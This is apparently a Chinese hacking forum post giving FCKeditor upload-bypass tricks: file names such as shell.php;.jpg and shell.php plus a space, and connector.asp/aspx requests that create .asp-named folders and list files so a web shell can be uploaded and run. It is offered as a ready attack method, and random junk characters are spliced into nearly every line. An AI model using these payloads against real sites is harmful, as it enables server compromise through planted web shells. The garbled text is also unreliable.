很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg- N2 }6 U% A' f- P$ t! a8 E6 ?
6 h0 k2 P- Q% G) P4 M- m提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。
o% G% X" L c' Z% ~
! R r7 Z \6 |: r/ y9 \继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。* G0 T8 y/ A, `: s$ N, Q
( q1 G* v6 t, T, e7 ?
突破建立文件夹:
6 J" x8 N$ C& [" i* r9 Q$ _
6 g5 l# w, k- ~9 T% @editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp$ `& K- ~0 p9 D, C; r n6 E5 b$ S
3 Q/ a0 p. x% N/ B( i. \! \
参数:4 y/ b5 e: E' O% ]
9 E0 L' n, ?- B E8 B/ ]) ~
当前目录名:CurrentFolder=/qing.asp# K# B8 C7 b/ O
9 m* `8 Y' I D" s8 I$ C
新的目录名:NewFolderName=x.asp
8 u7 F# x8 J& q# F! F+ F4 z; d$ e4 F: o1 j' u' B/ p
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……$ u" b) v2 j b$ y: B) _. ]$ W
! H3 f- ^4 @5 n
那么 x.asp 就已经建立生成了,此方法百试百灵!9 D9 H9 ~* _/ j* i) l
1 A* ^8 |8 p' R% u
新建文件夹参数 x.asp,基本都能搞定。4 j% m1 o8 J% J6 S) G) I6 Q
* B7 V6 `8 W$ y/ p1 W5 t
下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建/ Z) `: k% u2 |/ W
- G4 D6 S+ _* J1 t! N4 e- Uaspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp. X. t5 P; q3 n' Y
- C, W) m, ]: @4 z$ Z; u获取文件列表( Z: _- p! B) H# }% L; Q. B
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
7 t6 \$ t1 N- V! `3 j9 i
+ L3 r/ a* E/ g3 u8 S |